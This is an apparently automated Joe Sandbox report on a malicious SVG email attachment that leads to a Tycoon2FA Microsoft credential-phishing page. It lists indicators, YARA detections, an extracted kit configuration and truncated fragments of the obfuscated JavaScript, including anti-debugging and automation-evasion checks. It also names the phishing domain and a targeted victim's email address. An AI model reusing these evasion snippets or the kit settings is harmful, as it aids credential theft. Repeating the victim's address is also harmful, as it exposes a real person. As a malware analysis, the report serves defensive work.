Edit tour

Windows Analysis Report
EFTRemittance_Kenneth_KHQCSQELUN_attach.svg

Overview

General Information

Sample name:	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg
Analysis ID:	1649549
MD5:	6a4b71b5b73242579114a0d4fb4074f3
SHA1:	2f3b24a9dd129347ba10bd837bc4b9f2dafaa060
SHA256:	7f6bad8d291e2dd6fa63e583ad6751d5e012ddf3e23ea62832cfa3ccf6381313
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

HTML page contains suspicious javascript code

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 8504 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8876 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2312,i,10745882534302202489,2155989706674056279,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2560 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2312,i,10745882534302202489,2155989706674056279,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5080 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8636 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\EFTRemittance_Kenneth_KHQCSQELUN_attach.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "15DIF",
  "emailcheck": "kenneth@arts.state.tx.us",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/pwprw4n0USvq3YlbR2pqVrkJYJXs9t3TupoZvAT8a9LwBvbs8Wyp05"
}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_136	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
1.12.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.8.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.19.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.14..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.15..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.15..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.7..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.22..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 25 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.19.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "15DIF", "emailcheck": "kenneth@arts.state.tx.us", "webname": "rtrim(/web9/, '/')", "urlo": "/pwprw4n0USvq3YlbR2pqVrkJYJXs9t3TupoZvAT8a9LwBvbs8Wyp05"}

Phishing

AI detected phishing page

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'nvgy.zonqdkqezktw.es' does not match the legitimate domain 'microsoft.com'., The domain 'zonqdkqezktw.es' is unrelated to Microsoft and appears random, which is suspicious., The use of a '.es' domain extension is unusual for Microsoft, which typically uses '.com'., The URL contains random characters and does not resemble any known Microsoft subdomains or services. DOM: 2.3.pages.csv
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'nvgy.zonqdkqezktw.es' does not match the legitimate domain for Microsoft., The URL contains a random string and uses a '.es' domain, which is not typically associated with Microsoft., The presence of a password input field on a non-legitimate domain is a common phishing tactic. DOM: 2.4.pages.csv
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown' due to its global recognition and presence., The URL 'nvgy.zonqdkqezktw.es' does not match the legitimate domain 'microsoft.com'., The domain 'zonqdkqezktw.es' appears to be random and does not have any known association with Microsoft., The use of a Spanish domain extension '.es' is unusual for Microsoft, which typically uses '.com'., The presence of an input field labeled 'Enter password' is a common tactic used in phishing sites to capture sensitive information. DOM: 2.5.pages.csv
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'nvgy.zonqdkqezktw.es' does not match the legitimate domain for Microsoft., The URL contains random characters and an unusual domain extension '.es', which is not typically associated with Microsoft., The presence of an input field for 'Enter password' on a suspicious domain increases the likelihood of phishing. DOM: 2.6.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.7..script.csv, type: HTML
Source: Yara match	File source: 2.22..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_136, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.19.d.script.csv, type: HTML
Source: Yara match	File source: 1.12.d.script.csv, type: HTML
Source: Yara match	File source: 1.9.d.script.csv, type: HTML
Source: Yara match	File source: 1.8.d.script.csv, type: HTML
Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 2.15..script.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of anti-debugging techniques, and the overall malicious intent make this a high-risk script.
Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/EFTRemittance_Kenn... This script demonstrates high-risk behaviors, including dynamic code execution through the use of the `Function` constructor and obfuscated code/URLs. The script appears to be redirecting the user to a suspicious domain, which is a strong indicator of malicious intent. Additionally, the script is using a hardcoded email address, which could be used for data exfiltration purposes. Overall, the combination of these high-risk indicators suggests that this script is highly suspicious and likely malicious.
Source: 2.14..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvz... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects to a blank page, and intercepts keyboard and clipboard events to prevent common debugging and security actions. The script also includes a timer-based debugger trap that could be used to detect and redirect the user. Overall, this script demonstrates a high level of malicious intent and poses a significant security risk.
Source: 1.4..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings and the subsequent `eval()` call to execute the decoded content pose a significant security risk. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of malicious intent. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 2.15..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvz... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools and redirects the user to a suspicious domain. Additionally, it implements aggressive DOM manipulation and key/context menu event handling to potentially interfere with user interactions. The combination of these behaviors strongly suggests malicious intent, warranting a high-risk score.
Source: 2.22..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/34PRKAyS0bAW7iTwXghMi... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of heavily obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, and this script should be considered a significant security risk.
Source: 1.7..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.... This script demonstrates high-risk behavior with the use of the `eval` function to execute dynamic code. The obfuscated string is decoded and then evaluated, which can lead to the execution of malicious code. Additionally, the script uses a `Proxy` object to intercept property access, further increasing the risk of unauthorized code execution. Overall, this script exhibits a high level of risk and should be thoroughly reviewed before execution.

HTML page contains suspicious javascript code

Source: file:///C:/Users/user/Desktop/EFTRemittance_Kenneth_KHQCSQELUN_attach.svg

HTTP Parser: window.location.href = atob(

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: EFTRemittance_Kenneth_KHQCSQELUN_attach.svg, type: SAMPLE

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ

HTTP Parser: Number of links: 0

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.us

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function jyOjWYbvKJ(event) { co...

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ

HTTP Parser: Title: Login For Account Protection Access does not match URL

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: Invalid link: Terms of use
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: Invalid link: Privacy & cookies
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: Invalid link: Terms of use
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: Invalid link: Privacy & cookies
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: Invalid link: Terms of use
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: Invalid link: Privacy & cookies
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: Invalid link: Terms of use
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: Invalid link: Privacy & cookies

Source: https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.us	HTTP Parser: function oqpxmtnnct(){gspboiyyai = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+ug9ydgzvbglvicygqwdlbmn5ic0gtw9kzxjuierlc2lnbjwvdgl0bgu+ciagpgxpbmsgahjlzj0iahr0chm6ly9mb250cy5nb29nbgvhcglzlmnvbs9jc3myp2zhbwlset1nb250c2vycmf0ondnahrandawozcwmczmyw1pbhk9um9ib3rvondnahramzawozqwmds1mdamzglzcgxhet1zd2fwiibyzww9inn0ewxlc2hlzxqipgogidxzdhlszt4kicagic8qiedlbmvyywwgu3r5bgvzicovciagicbib2r5ihskicagicagzm9udc1myw1pbhk6icdsb2jvdg8nlcbzyw5zlxnlcmlmowogicagicbtyxjnaw46ida7ciagicagihbhzgrpbmc6ida7ciagicagignvbg9yoiajmzmzowogicagicbsaw5llwhlawdoddogms42owogicagicbiywnrz3jvdw5klwnvbg9yoiajzjrmngy5owogicagfqokicagiggxlcbomiwgadmgewogicagicbmb250lwzhbwlsetogj01vbnrzzxjyyxqnlcbzyw5zlxnlcmlmowogicagicbjb2xvcjogizjjm2u1mdskicagih0kciagicbhihskicagicagy29sb3i6icmzndk4zgi7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagih0kciagicbhomhvdmvyihskicagicagdgv4dc1kzwnvcmf0aw9uoib1bmrlc...
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "15dif";var emailcheck = "kenneth@arts.state.tx.us";var webname = "rtrim(/web9/, '/')";var urlo = "/pwprw4n0usvq3ylbr2pqvrkjyjxs9t3tupozvat8a9lwbvbs8wyp05";var gdf = "/ghe2qlrz0cz39kxur8owxgcocrwhmtkz5rzwqf1ab116";var odf = "/ijvzevmavkt9iuxv3lmn3nsmnrwuvynu1kfzgx3lf8nzaawcd650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if...

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ

HTTP Parser: <input type="password" .../> found

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No favicon
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No favicon
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No favicon
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No favicon

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No <meta name="author".. found
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No <meta name="author".. found
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No <meta name="author".. found
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No <meta name="author".. found

Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No <meta name="copyright".. found
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No <meta name="copyright".. found
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No <meta name="copyright".. found
Source: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.81.228:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.196.11:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.92.165:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.112.3:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.134:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.160.100:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49821 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 54MB

Source: Joe Sandbox View	IP Address: 140.82.112.3 140.82.112.3
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.92.165 104.21.92.165

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 23.57.90.162
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.133
Source: unknown	TCP traffic detected without corresponding DNS query: 23.203.176.221
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.151.133
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.251.32.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
